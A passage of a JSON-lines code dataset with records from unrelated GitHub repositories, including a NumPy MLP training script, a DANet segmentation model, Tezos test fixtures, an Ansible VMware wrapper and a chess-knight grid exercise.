dict_list\n\npad_dict_list(downloadLinks, '0')\n\n# Write finished output to CSV\nprint(downloadLinks)\ndf = pd.DataFrame(downloadLinks)\ndf.to_csv(\"downloadLinks.csv\")\n\n","repo_name":"deathewillcome3/smartphysicsscraping","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70358611894","text":"\n# %%\nfrom numpy.core.function_base import linspace\nfrom shapely import geometry\n\ndef if_inPoly(polygon, Points):\n line = geometry.LineString(polygon)\n point = geometry.Point(Points)\n polygon = geometry.Polygon(line)\n return polygon.contains(point)\n \nsquare = np.array([[0,0], [1,0], [1,1], [0,1]]) #多边形坐标\npt1 = (2, 2) #点坐标\npt2 = (0.5, 0.5)\nprint(if_inPoly(square, pt1))\nprint(if_inPoly(square, pt2))\n\n\n\n\n# %% \nimport matplotlib.pyplot as plt\nimport numpy as np\nsquare = np.array([[0,0], [1,0], [1,1], [0,1]])\nfig=plt.figure()\naxes=fig.add_subplot(1,1,1)\np3=plt.Polygon(square)\naxes.add_patch(p3)\nplt.show()\n\n\n# %%\ny_max=330\n\nwhile y_max < 370:\n y_max += 0.5\n\n # print(y_max)\n ll=y_max-10\n if ll < 300:\n a= y_max\n return a\n # # break\n # else:\n # continue\n\n # %%\n import numpy as np\n y_max=360\n for ii in np.linspace(0.01,40,2000):\n y_max=y_max-ii\n if y_max<350:\n break\n print(y_max)\n\n","repo_name":"chejn20/internship","sub_path":"ttt.py","file_name":"ttt.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36976159270","text":"\"\"\"\nThis module implements training and evaluation of a multi-layer perceptron in NumPy.\nYou should fill in code into indicated sections.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport numpy as np\nimport os\nfrom mlp_numpy import MLP\nfrom modules import CrossEntropyModule\nimport cifar10_utils\n\nfrom sacred import Experiment\nfrom sacred.observers import MongoObserver\n\nex = Experiment()\n# Set up database logs\nuri = os.environ.get('MLAB_URI')\ndatabase = os.environ.get('MLAB_DB')\nif all([uri, database]):\n ex.observers.append(MongoObserver.create(uri, database))\n\n# Default constants\nDNN_HIDDEN_UNITS_DEFAULT = '100'\nLEARNING_RATE_DEFAULT = 2e-3\nMAX_STEPS_DEFAULT = 1500\nBATCH_SIZE_DEFAULT = 200\nEVAL_FREQ_DEFAULT = 100\n\n# Directory in which cifar data is saved\nDATA_DIR_DEFAULT = './cifar10/cifar-10-batches-py'\n\nFLAGS = None\n\ndef accuracy(predictions, targets):\n \"\"\"\n Computes the prediction accuracy, i.e. the average of correct predictions\n of the network.\n \n Args:\n predictions: 2D float array of size [batch_size, n_classes]\n labels: 2D int array of size [batch_size, n_classes]\n with one-hot encoding. Ground truth labels for\n each sample in the batch\n Returns:\n accuracy: scalar float, the accuracy of predictions,\n i.e. the average correct predictions over the whole batch\n \n Implement accuracy computation.\n \"\"\"\n\n ########################\n # PUT YOUR CODE HERE #\n #######################\n n_samples = targets.shape[0]\n y_pred = np.argmax(predictions, axis=1)\n y_true = np.argmax(targets, axis=1)\n accuracy = np.sum(y_pred == y_true)/n_samples\n ########################\n # END OF YOUR CODE #\n #######################\n\n return accuracy\n\n@ex.main\ndef train(_run):\n \"\"\"\n Performs training and evaluation of MLP model. \n\n Implement training and evaluation of MLP model. Evaluate your model on the whole test set each eval_freq iterations.\n \"\"\"\n\n ### DO NOT CHANGE SEEDS!\n # Set the random seeds for reproducibility\n np.random.seed(42)\n\n ## Prepare all functions\n # Get number of units in each hidden layer specified in the string such as 100,100\n if FLAGS.dnn_hidden_units:\n dnn_hidden_units = FLAGS.dnn_hidden_units.split(\",\")\n dnn_hidden_units = [int(dnn_hidden_unit_) for dnn_hidden_unit_ in dnn_hidden_units]\n else:\n dnn_hidden_units = []\n\n ########################\n # PUT YOUR CODE HERE #\n #######################\n datasets = cifar10_utils.read_data_sets(DATA_DIR_DEFAULT)\n train_data = datasets['train']\n test_data = datasets['test']\n model = MLP(n_inputs=3072, n_hidden=dnn_hidden_units, n_classes=10)\n loss_fn = CrossEntropyModule()\n\n log_every = 10\n avg_loss = 0\n avg_acc = 0\n for step in range(FLAGS.max_steps):\n x, y = train_data.next_batch(FLAGS.batch_size)\n x = x.reshape(FLAGS.batch_size, -1)\n out = model.forward(x)\n\n # Forward and backward passes\n loss = loss_fn.forward(out, y)\n dout = loss_fn.backward(out, y)\n model.backward(dout)\n\n # Parameter updates\n for layer in model.layers:\n params = getattr(layer, 'params', None)\n if params is not None:\n grads = layer.grads\n layer.params = {name: params[name] - FLAGS.learning_rate * grads[name] for name in params}\n\n avg_loss += loss/log_every\n avg_acc += accuracy(out, y)/log_every\n if step % log_every == 0:\n print('\\r[{}/{}] train loss: {:.6f} train acc: {:.6f}'.format(step + 1,\n FLAGS.max_steps,\n avg_loss, avg_acc), end='')\n _run.log_scalar('train-loss', avg_loss, step)\n _run.log_scalar('train-acc', avg_acc, step)\n avg_loss = 0\n avg_acc = 0\n\n # Evaluate\n if step % FLAGS.eval_freq == 0 or step == (FLAGS.max_steps - 1):\n x, y = test_data.next_batch(test_data.num_examples)\n x = x.reshape(test_data.num_examples, -1)\n out = model.forward(x)\n test_loss = loss_fn.forward(out, y)\n test_acc = accuracy(out, y)\n print(' test accuracy: {:6f}'.format(test_acc))\n\n _run.log_scalar('test-loss', test_loss, step)\n _run.log_scalar('test-acc', test_acc, step)\n ########################\n # END OF YOUR CODE #\n #######################\n\ndef print_flags():\n \"\"\"\n Prints all entries in FLAGS variable.\n \"\"\"\n for key, value in vars(FLAGS).items():\n print(key + ' : ' + str(value))\n\ndef main():\n \"\"\"\n Main function\n \"\"\"\n # Print all Flags to confirm parameter settings\n print_flags()\n\n if not os.path.exists(FLAGS.data_dir):\n os.makedirs(FLAGS.data_dir)\n\n # Run the training operation\n #train()\n ex.run()\n\nif __name__ == '__main__':\n # Command line arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('--dnn_hidden_units', type = str, default = DNN_HIDDEN_UNITS_DEFAULT,\n help='Comma separated list of number of units in each hidden layer')\n parser.add_argument('--learning_rate', type = float, default = LEARNING_RATE_DEFAULT,\n help='Learning rate')\n parser.add_argument('--max_steps', type = int, default = MAX_STEPS_DEFAULT,\n help='Number of steps to run trainer.')\n parser.add_argument('--batch_size', type = int, default = BATCH_SIZE_DEFAULT,\n help='Batch size to run trainer.')\n parser.add_argument('--eval_freq', type=int, default=EVAL_FREQ_DEFAULT,\n help='Frequency of evaluation on the test set')\n parser.add_argument('--data_dir', type = str, default = DATA_DIR_DEFAULT,\n help='Directory for storing input data')\n FLAGS, unparsed = parser.parse_known_args()\n\n main()","repo_name":"sidiatig/deep-learning","sub_path":"assignment_1/code/train_mlp_numpy.py","file_name":"train_mlp_numpy.py","file_ext":"py","file_size_in_byte":5772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6717263869","text":"import random\nimport string\nimport os\nfrom register import registerObj\nimport writer\n\nclass vmware_cluster:\n playbook_name = ''\n hosts=[]\n register=[]\n cluster_name = ''\n datacenter = ''\n drs_default_vm_behavior = ''\n drs_enable_vm_behavior_overrides = ''\n drs_vmotion_rate = ''\n enable_drs = ''\n enable_ha = ''\n enable_vsan = ''\n ha_admission_control_enabled = ''\n ha_failover_level = ''\n ha_host_monitoring = ''\n ha_restart_priority = ''\n ha_vm_failure_interval = ''\n ha_vm_max_failure_window = ''\n ha_vm_max_failures = ''\n ha_vm_min_up_time = ''\n ha_vm_monitoring = ''\n hostname = ''\n password = ''\n port = ''\n state = ''\n username = ''\n validate_certs = ''\n vsan_auto_claim_storage = ''\n def compile(self):\n self.playbook_name=writer.writer(self,self.playbook_name)\n\n def run(self):\n dump_name=''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])\n os.system('{} | tee {}'.format(self.playbook_name,dump_name))\n self.register = registerObj(dump_name)\n os.remove(dump_name)\n\n def go(self):\n self.compile()\n self.run()\n\n","repo_name":"riddhesh-jangid/Goansible","sub_path":"anso/vmware_cluster.py","file_name":"vmware_cluster.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11607589717","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.functional import upsample\nimport torch.nn as nn\nfrom itertools import chain\nfrom .drnet import drn_d_22, drn_d_38, drn_d_54\nfrom .resnet import resnet50, resnet34\n\nfrom utils.helpers import initialize_weights, set_trainable\n\n\nclass PositionAttentionModule(nn.Module):\n ''' self-attention '''\n\n def __init__(self, in_channels):\n super().__init__()\n self.chanel_in = in_channels\n self.query_conv = nn.Conv2d(\n in_channels, in_channels // 8, kernel_size=1)\n self.key_conv = nn.Conv2d(in_channels, in_channels // 8, kernel_size=1)\n self.value_conv = nn.Conv2d(in_channels, in_channels, kernel_size=1)\n self.gamma = nn.Parameter(torch.zeros(1))\n\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, x):\n \"\"\"\n inputs :\n x : feature maps from feature extractor. (N, C, H, W)\n outputs :\n feature maps weighted by attention along spatial dimensions\n \"\"\"\n\n N, C, H, W = x.shape\n query = self.query_conv(x).view(\n N, -1, H*W).permute(0, 2, 1) # (N, H*W, C')\n key = self.key_conv(x).view(N, -1, H*W) # (N, C', H*W)\n\n # caluculate correlation\n energy = torch.bmm(query, key) # (N, H*W, H*W)\n # spatial normalize\n attention = self.softmax(energy)\n\n value = self.value_conv(x).view(N, -1, H*W) # (N, C, H*W)\n\n out = torch.bmm(value, attention.permute(0, 2, 1))\n out = out.view(N, C, H, W)\n out = self.gamma*out + x\n return out\n\n\nclass ChannelAttentionModule(nn.Module):\n def __init__(self, in_channels):\n super().__init__()\n self.chanel_in = in_channels\n self.gamma = nn.Parameter(torch.zeros(1))\n self.softmax = nn.Softmax(dim=-1)\n\n def forward(self, x):\n \"\"\"\n inputs :\n x : feature maps from feature extractor. (N, C, H, W)\n outputs :\n feature maps weighted by attention along a channel dimension\n \"\"\"\n\n N, C, H, W = x.shape\n query = x.view(N, C, -1) # (N, C, H*W)\n key = x.view(N, C, -1).permute(0, 2, 1) # (N, H*W, C)\n\n # calculate correlation\n energy = torch.bmm(query, key) # (N, C, C)\n energy = torch.max(\n energy, -1, keepdim=True)[0].expand_as(energy) - energy\n attention = self.softmax(energy)\n\n value = x.view(N, C, -1)\n\n out = torch.bmm(attention, value)\n out = out.view(N, C, H, W)\n out = self.gamma*out + x\n return out\n\n\nclass DANet(nn.Module):\n def __init__(self, out_channels=4, backbone=\"resnet50\", in_channels=2048, pretrained=False,**_):\n super(DANet, self).__init__()\n inter_channel = in_channels // 4\n # set a base model\n if backbone == 'drn_d_22':\n print('Dilated ResNet D 22 wil be used as a base model')\n self.base = drn_d_22(pretrained=True,num_classes=out_channels)\n # remove the last layer (out_conv)\n self.base = nn.Sequential(\n *list(self.base.children())[:-1])\n elif backbone == 'drn_d_38':\n print('Dilated ResNet D 38 wil be used as a base model')\n self.base = drn_d_38(pretrained=True,num_classes=out_channels)\n # remove the last layer (out_conv)\n self.base = nn.Sequential(\n *list(self.base.children())[:-1])\n elif backbone == 'resnet50':\n print(\"Resnet 50 will be used as a base model\")\n self.base = resnet50(pretrained=pretrained, num_classes=out_channels)\n self.base = nn.Sequential(\n *list(self.base.children())[:-2]\n )\n else:\n print('There is no option you choose as a base model.')\n print('Instead, Dilated ResNet D 22 wil be used as a base model')\n self.base = drn_d_22(pretrained=True,num_classes=out_channels)\n # remove the last layer (out_conv)\n self.base = nn.Sequential(\n *list(self.base.children())[:-1])\n\n # convolution before attention modules\n self.conv2pam = nn.Sequential(\n nn.Conv2d(in_channels, inter_channel, 3, padding=1, bias=False),\n nn.BatchNorm2d(inter_channel),\n nn.ReLU()\n )\n self.conv2cam = nn.Sequential(\n nn.Conv2d(in_channels, inter_channel, 3, padding=1, bias=False),\n nn.BatchNorm2d(inter_channel),\n nn.ReLU()\n )\n\n # attention modules\n self.pam = PositionAttentionModule(in_channels=inter_channel)\n self.cam = ChannelAttentionModule(in_channels=inter_channel)\n\n # convolution after attention modules\n self.pam2conv = nn.Sequential(\n nn.Conv2d(inter_channel, inter_channel, 3, padding=1, bias=False),\n nn.BatchNorm2d(inter_channel),\n nn.ReLU())\n self.cam2conv = nn.Sequential(\n nn.Conv2d(inter_channel, inter_channel, 3, padding=1, bias=False),\n nn.BatchNorm2d(inter_channel),\n nn.ReLU())\n\n # output layers for each attention module and sum features.\n self.conv_pam_out = nn.Sequential(\n nn.Dropout2d(0.1, False),\n nn.Conv2d(inter_channel, out_channels, 1)\n )\n self.conv_cam_out = nn.Sequential(\n nn.Dropout2d(0.1, False),\n nn.Conv2d(inter_channel, out_channels, 1)\n )\n self.conv_out = nn.Sequential(\n nn.Dropout2d(0.1, False),\n nn.Conv2d(inter_channel, out_channels, 1)\n )\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.Linear):\n nn.init.kaiming_normal_(m.weight)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x):\n b, c, h, w = x.size()\n x = self.base(x)\n\n # outputs from attention modules\n pam_out = self.conv2pam(x)\n pam_out = self.pam(pam_out)\n pam_out = self.pam2conv(pam_out)\n sa_output = self.conv_pam_out(pam_out)\n\n cam_out = self.conv2cam(x)\n cam_out = self.cam(cam_out)\n cam_out = self.cam2conv(cam_out)\n sc_output = self.conv_cam_out(cam_out)\n\n # segmentation result\n feats_sum = pam_out + cam_out\n output = self.conv_out(feats_sum)\n output = F.upsample_bilinear(output, (h, w))\n \n return output\n def get_backbone_params(self):\n return chain(\n self.base.parameters(),\n self.conv2pam.parameters(), self.pam.parameters(), self.pam2conv.parameters(),\n self.conv2cam.parameters(), self.cam.parameters(), self.cam2conv.parameters(),\n self.conv_out.parameters()\n )\n\n def get_decoder_params(self):\n return []\n\n def freeze_bn(self):\n for module in self.modules():\n if isinstance(module, nn.BatchNorm2d): module.eval()\n \n \n\n # def forward(self, x):\n # b, c, h, w = x.size()\n # x = self.base(x)\n\n # # outputs from attention modules\n # pam_out = self.conv2pam(x)\n # pam_out = self.pam(pam_out)\n # pam_out = self.pam2conv(pam_out)\n\n # cam_out = self.conv2cam(x)\n # cam_out = self.cam(cam_out)\n # cam_out = self.cam2conv(cam_out)\n\n # # segmentation result\n # # 输出后续的结果分析时,两个注意力机制的输出值得研究\n # # outputs = []\n # # feats_sum = pam_out + cam_out\n # # outputs.append(self.conv_out(feats_sum))\n # # outputs.append(self.conv_pam_out(pam_out))\n # # outputs.append(self.conv_cam_out(cam_out))\n\n # # 修改后,只输出融合结果\n # feats_sum = pam_out + cam_out\n # output = self.conv_out(feats_sum)\n # output = F.upsample_bilinear(output, (h, w))\n # return output\n \n ","repo_name":"WeizhenLiuBioinform/Pork_Marbling_Segmentation","sub_path":"models/danet.py","file_name":"danet.py","file_ext":"py","file_size_in_byte":8319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13128790095","text":"\"\"\"\nThese classes help speed up field computations by caching and introduce some useful types.\n\"\"\"\nfrom typing import List\n\n\ndef memoize(f):\n \"\"\"Decorator to memoize a function. \n\n Memoize calls to the class constructors for fields this helps typechecking by\n never creating two separate instances of a number class.\n \"\"\"\n cache = {}\n\n def memoizedFunction(*args, **kwargs):\n argTuple = args + tuple(kwargs)\n if argTuple not in cache:\n cache[argTuple] = f(*args, **kwargs)\n return cache[argTuple]\n\n memoizedFunction.cache = cache\n return memoizedFunction\n\n\ndef typecheck(f):\n \"\"\"Type check a binary operation, and silently typecast 0 or 1\"\"\"\n\n def newF(self, other):\n if (hasattr(other.__class__, 'operatorPrecedence') and\n other.__class__.operatorPrecedence > self.__class__.operatorPrecedence):\n return NotImplemented\n\n if type(self) is not type(other):\n try:\n other = self.__class__(other)\n except TypeError:\n message = 'Not able to typecast %s of type %s to type %s in function %s'\n raise TypeError(message % (other, type(other).__name__,\n type(self).__name__, f.__name__))\n except Exception as e:\n message = 'Type error on arguments %r, %r for function %s. %s != %s. Reason: %s'\n raise TypeError(\n message % (self, other, f.__name__, type(other).__name__,\n type(self).__name__, e))\n\n return f(self, other)\n\n return newF\n\n\n# require a subclass to implement +-* neg and to perform typechecks on all of\n# the binary operations finally, the __init__ must operate when given a single\n# argument, provided that argument is the int zero or one\nclass DomainElement(object):\n operatorPrecedence = 1\n\n # the 'r'-operators are only used when typecasting ints\n def __radd__(self, other):\n return self + other\n\n def __rsub__(self, other):\n return -self + other\n\n def __rmul__(self, other):\n return self * other\n\n # square-and-multiply algorithm for fast exponentiation\n def __pow__(self, n):\n if type(n) is not int:\n raise TypeError\n\n Q = self\n R = self if n & 1 else self.__class__(1)\n\n i = 2\n while i <= n:\n Q = (Q * Q)\n\n if n & i == i:\n R = (Q * R)\n\n i = i << 1\n\n return R\n\n def powmod(self, n, modulus):\n \"\"\"requires the additional % operator (i.e. a Euclidean Domain)\"\"\"\n if type(n) is not int:\n raise TypeError\n\n Q = self\n R = self if n & 1 else self.__class__(1)\n\n i = 2\n while i <= n:\n Q = (Q * Q) % modulus\n\n if n & i == i:\n R = (Q * R) % modulus\n\n i = i << 1\n\n return R\n\n def to_bytes(self):\n raise NotImplementedError \n\n\n# additionally require inverse() on subclasses\nclass FieldElement(DomainElement):\n\n def __truediv__(self, other):\n return self * other.inverse()\n\n def __rtruediv__(self, other):\n return self.inverse() * other\n\n def __div__(self, other):\n return self.__truediv__(other)\n\n def __rdiv__(self, other):\n return self.__rtruediv__(other)\n\n# Define a type alias\nVector = List[FieldElement]\n\n# Another type alias for readability\nField = FieldElement\n\n# Another type alias. This isn't very clean though...\nclass MultiVarPoly(DomainElement):\n pass\n\n# A type alias for a polynomial.\nclass Poly(DomainElement):\n pass\n\n# A type alias for a space. Either an affine subspace or a\n# multiplicative group.\n# TODO(rbharath): The type hierarchy here is really wonky...\n\nclass Space(DomainElement):\n pass\n","repo_name":"computablelabs/starks","sub_path":"starks/numbertype.py","file_name":"numbertype.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"4100445322","text":"import numpy as np\n\n\ndef relationship_row(row):\n '''\n This function calculates the relative difference\n between tiles in a given row.\n '''\n diff = []\n for i, el in enumerate(row):\n for j, other in enumerate(row):\n if i != j:\n diff.append(el - other)\n return np.array(diff)\n\ndef relationship(grid):\n '''\n This function calculates the horizontal releative differences\n on the whole grid.\n '''\n diff_grid = []\n for row in grid:\n diff_grid.append(relationship_row(row)) \n diff_grid = np.array(diff_grid)\n diff_grid = diff_grid.flatten()\n return diff_grid\n\ndef relationship_representation(grid):\n '''\n This creates the representation of the grid. Start with\n the log values of all grid, then the relative differences\n of the values.\n\n If the action is horizontal, we will only have the horizontal\n relative differences in the representation. \n '''\n\n state_action_mat = []\n for i in range(4):\n if i == 0:\n relat = relationship(grid) * (-1)\n grid_vec = grid.flatten()\n state_vec = np.insert(grid_vec, len(grid_vec), relat)\n elif i == 1:\n relat = relationship(grid)\n grid_vec = grid.flatten()\n state_vec = np.insert(grid_vec, len(grid_vec), relat)\n elif i == 2:\n relat = relationship(np.transpose(grid)) * (-1)\n grid_vec = grid.flatten()\n state_vec = np.insert(grid_vec, len(grid_vec), relat)\n else:\n relat = relationship(np.transpose(grid))\n grid_vec = grid.flatten()\n state_vec = np.insert(grid_vec, len(grid_vec), relat)\n\n state_action_vec = np.zeros(len(state_vec)*i)\n state_action_vec = np.insert(state_action_vec, len(state_action_vec), state_vec)\n state_action_vec = np.insert(state_action_vec, len(state_action_vec), np.zeros(len(state_vec)*(3-i)))\n state_action_vec = np.insert(state_action_vec, len(state_action_vec), np.array([1]))\n\n state_action_mat.append(state_action_vec)\n\n return np.array(state_action_mat)","repo_name":"EricCWWong/2048AI","sub_path":"representation.py","file_name":"representation.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34965976241","text":"\"\"\"Hooks and fixtures.\n\nA fixture defines code to be run before and after a (sequence of) test,\nE.g. start and stop a server. The fixture is simply specified as a parameter\nin the test function, and the yielded values is then accessible with this\nparameter.\n\"\"\"\nimport os\nimport pytest\nfrom pytest_regtest import register_converter_pre, deregister_converter_pre, \\\n _std_conversion\nfrom launchers.sandbox import Sandbox, SandboxMultiBranch\nfrom tools import constants, paths, utils\nfrom tools.client_regression import ClientRegression\n\n\n@pytest.fixture(scope=\"session\", autouse=True)\ndef sanity_check(request):\n \"\"\"Sanity checks before running the tests.\"\"\"\n log_dir = request.config.getoption(\"--log-dir\")\n if not (log_dir is None or os.path.isdir(log_dir)):\n print(f\"{log_dir} doesn't exist\")\n pytest.exit(1)\n\n\n@pytest.fixture(scope=\"session\")\ndef log_dir(request):\n \"\"\"Retrieve user-provided logging directory on the command line.\"\"\"\n yield request.config.getoption(\"--log-dir\")\n\n\n@pytest.fixture(scope=\"class\")\ndef session():\n \"\"\"Dictionary to store data between tests.\"\"\"\n yield {}\n\n\ndef pytest_runtest_makereport(item, call):\n # hook for incremental test\n # from https://docs.pytest.org/en/latest/example/simple.html\n if \"incremental\" in item.keywords:\n if call.excinfo is not None:\n parent = item.parent\n # TODO can we do without this hack?\n parent._previousfailed = item # pylint: disable=protected-access\n\n\ndef pytest_runtest_setup(item):\n if \"incremental\" in item.keywords:\n previousfailed = getattr(item.parent, \"_previousfailed\", None)\n if previousfailed is not None:\n pytest.xfail(\"previous test failed (%s)\" % previousfailed.name)\n\n\ndef pytest_addoption(parser):\n parser.addoption(\n \"--log-dir\", action=\"store\", help=\"specify log directory\"\n )\n\n\nDEAD_DAEMONS_WARN = '''\nIt seems some daemons terminated unexpectingly, or didn't launch properly.\nYou can investigate daemon logs by running this test using the\n`--log-dir=LOG_DIR` option.'''\n\n\n@pytest.fixture(scope=\"class\")\ndef sandbox(log_dir):\n \"\"\"Sandboxed network of nodes.\n\n Nodes, bakers and endorsers are added/removed dynamically.\"\"\"\n # log_dir is None if not provided on command-line\n with Sandbox(paths.TEZOS_HOME,\n constants.IDENTITIES,\n constants.GENESIS_PK,\n log_dir=log_dir) as sandbox:\n yield sandbox\n assert sandbox.are_daemons_alive(), DEAD_DAEMONS_WARN\n\n\n@pytest.fixture(scope=\"class\")\ndef client(sandbox):\n \"\"\"One node with protocol alpha.\"\"\"\n sandbox.add_node(0, params=constants.NODE_PARAMS)\n client = sandbox.client(0)\n utils.activate_alpha(client)\n yield client\n\n\n@pytest.fixture(scope=\"class\")\ndef client_regtest_bis(sandbox):\n \"\"\"One node with protocol alpha, regression test enabled.\"\"\"\n def reg_client_factory(client_path: str,\n admin_client_path: str,\n host: str = '127.0.0.1',\n base_dir: str = None,\n rpc_port: int = 8732,\n use_tls: int = False,\n disable_disclaimer: bool = True):\n client = ClientRegression(client_path,\n admin_client_path,\n host,\n base_dir,\n rpc_port,\n use_tls,\n disable_disclaimer)\n return client\n\n sandbox.add_node(1, client_factory=reg_client_factory,\n params=constants.NODE_PARAMS)\n client = sandbox.client(1)\n utils.activate_alpha(client)\n yield client\n\n\n@pytest.fixture(scope=\"function\")\ndef client_regtest(client_regtest_bis, regtest):\n \"\"\"The client for one node with protocol alpha, with a function level\nregression test fixture.\"\"\"\n deregister_converter_pre(_std_conversion)\n client_regtest_bis.set_regtest(regtest)\n register_converter_pre(utils.client_always_output_converter)\n yield client_regtest_bis\n deregister_converter_pre(utils.client_always_output_converter)\n\n\n@pytest.fixture(scope=\"function\")\ndef client_regtest_scrubbed(client_regtest):\n \"\"\"One node with protocol alpha, regression test and scrubbing enabled.\"\"\"\n register_converter_pre(utils.client_output_converter)\n yield client_regtest\n deregister_converter_pre(utils.client_output_converter)\n\n\n@pytest.fixture(scope=\"class\")\ndef clients(sandbox, request):\n \"\"\"N node with protocol alpha. Parameterized by the number of nodes.\n\n Number of nodes is specified as a class annotation.\n @pytest.mark.parametrize('clients', [N], indirect=True)\n \"\"\"\n assert request.param is not None\n num_nodes = request.param\n for i in range(num_nodes):\n # Large number may increases peers connection time\n sandbox.add_node(i, params=constants.NODE_PARAMS)\n utils.activate_alpha(sandbox.client(0))\n clients = sandbox.all_clients()\n for client in clients:\n proto = constants.ALPHA\n assert utils.check_protocol(client, proto)\n yield clients\n\n\n@pytest.fixture(scope=\"class\")\ndef sandbox_multibranch(log_dir, request):\n \"\"\"Multi-branch sandbox fixture. Parameterized by map of branches.\n\n This fixture is identical to `sandbox` except that each node_id is\n mapped to a pair (git revision, protocol version). For instance,\n suppose a mapping:\n\n MAP = { 0: ('zeronet', 'alpha'), 1:('mainnet', '003-PsddFKi3'),\n 2: ('alphanet', '003-PsddFKi3' }\n\n If we annotate the class test as follows.\n @pytest.mark.parametrize('sandbox_multibranch', [MAP], indirect=True)\n\n The executables (node, baker, endorser)\n - for node_id 0 will be looked up in `TEZOS_BINARY/zeronet`,\n - for node_id 1 will be looked up in `TEZOS_BINARY/mainnet` and so on...\n\n baker and endorser will use the specified protocol version, according\n to the tezos executables naming conventions.\n \"\"\"\n if paths.TEZOS_BINARIES is None:\n pytest.skip()\n branch_map = request.param\n assert branch_map is not None\n num_peers = max(branch_map) + 1\n\n with SandboxMultiBranch(paths.TEZOS_BINARIES,\n constants.IDENTITIES,\n constants.GENESIS_PK,\n num_peers=num_peers,\n log_dir=log_dir,\n branch_map=branch_map) as sandbox:\n yield sandbox\n # this assertion checks that daemons (baker, endorser, node...) didn't\n # fail unexpected.\n assert sandbox.are_daemons_alive(), DEAD_DAEMONS_WARN\n\n\ndef pytest_collection_modifyitems(config, items):\n '''Adapted from pytest-fixture-marker: adds the regression marker\n to all tests that use the regtest fixture.\n '''\n # pylint: disable=unused-argument\n\n for item in items:\n if 'regtest' in item.fixturenames:\n item.add_marker('regression')\n","repo_name":"CuprumCoin/CUC","sub_path":"tests_python/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":7068,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9815159332","text":"# Randomly fills an array of size 10x10 True and False, displayed as 1 and 0,\n# and outputs the number chess knights needed to jump from 1s to 1s\n# and visit all 1s (they can jump back to locations previously visited).\n#\n# Written by *** and Eric Martin for COMP9021\n\n\nfrom random import seed, randrange\nimport sys\n\ndef explore_board(pts,dim):\n x=pts[0]\n y=pts[1]\n pts_set=[{}]*8\n if (x<0 or x>dim-1) or (y<0 or y>dim-1):\n return {()}\n elif grid[x][y]==False:\n return {()}\n else:\n grid[x][y]=False\n pts_set[0]=explore_board((x-1,y-2),dim)\n pts_set[1]=explore_board((x+1,y-2),dim)\n pts_set[2]=explore_board((x+2,y-1),dim)\n pts_set[3]=explore_board((x+2,y+1),dim)\n pts_set[4]=explore_board((x+1,y+2),dim)\n pts_set[5]=explore_board((x-1,y+2),dim)\n pts_set[6]=explore_board((x-2,y-1),dim)\n pts_set[7]=explore_board((x-2,y+1),dim)\n s={(x,y)}\n for e in pts_set:\n if e!={()}:\n s = s|e\n return s\nfor dim in [10, 50, 100, 1000]:\n for for_seed in [0, 1, 2]:\n for n in [-4, -3, -2, -1, 1, 2, 3, 4]:\n seed(for_seed)\n if n > 0:\n grid = [[randrange(n) > 0 for _ in range(dim)] for _ in range(dim)]\n else:\n grid = [[randrange(-n) == 0 for _ in range(dim)] for _ in range(dim)] \n paths_l=[]\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n if grid[i][j]==True:\n ts=explore_board((i,j),dim)\n if ts!={()}:\n paths_l.append(ts)\n nb_of_knights=len(paths_l)\n print(f'dim: {dim:<4}, for_seed: {for_seed}, n: {n:2} ---> knights: {nb_of_knights}')\n","repo_name":"Jerenyaoyelu/Python-Programming---COMP9021","sub_path":"Quiz/6/quiz_test_onedrive.py","file_name":"quiz_test_onedrive.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"14552765805","text":"#!/usr/bin/env python\n# vim: ai ts=4 sts=4 et sw=4\n\nfrom models import *\nfrom rapidsms.message import StatusCodes\nfrom apps.reporters.models import *\nfrom apps.notifier.models import *\nfrom apps.form.formslogic import FormsLogic\nimport re\n\nclass IPDFormsLogic(FormsLogic):\n ''' This class will hold the Nigeria IPD-specific forms logic.\n I'm not sure whether this will be the right structure\n this was just for getting something hooked up '''\n \n # this is a simple structure we use to describe the forms. \n # maps token names to db names\n _form_lookups = {\n \"report\" : {\n \"class\" : Report,\n \"display\" : \"Report\",\n \"fields\": (\n (\"location\", \"location\"),\n (\"immunized\", \"immunized\"),\n (\"notimmunized\", \"notimmunized\"),\n (\"vaccines\", \"vaccines\"),\n )\n },\n\n \"nc\" : {\n \"class\" : NonCompliance,\n \"display\" : \"Non Compliance\",\n \"fields\": (\n (\"location\", \"location\"),\n (\"reason\", \"reason\"),\n (\"cases\",\"cases\"),\n )\n },\n\n \"shortage\" : {\n \"class\" : Shortage,\n \"display\" : \"Shortage\",\n \"fields\" : (\n (\"location\", \"location\"),\n (\"commodity\", \"commodity\"),\n )\n }\n }\n \n 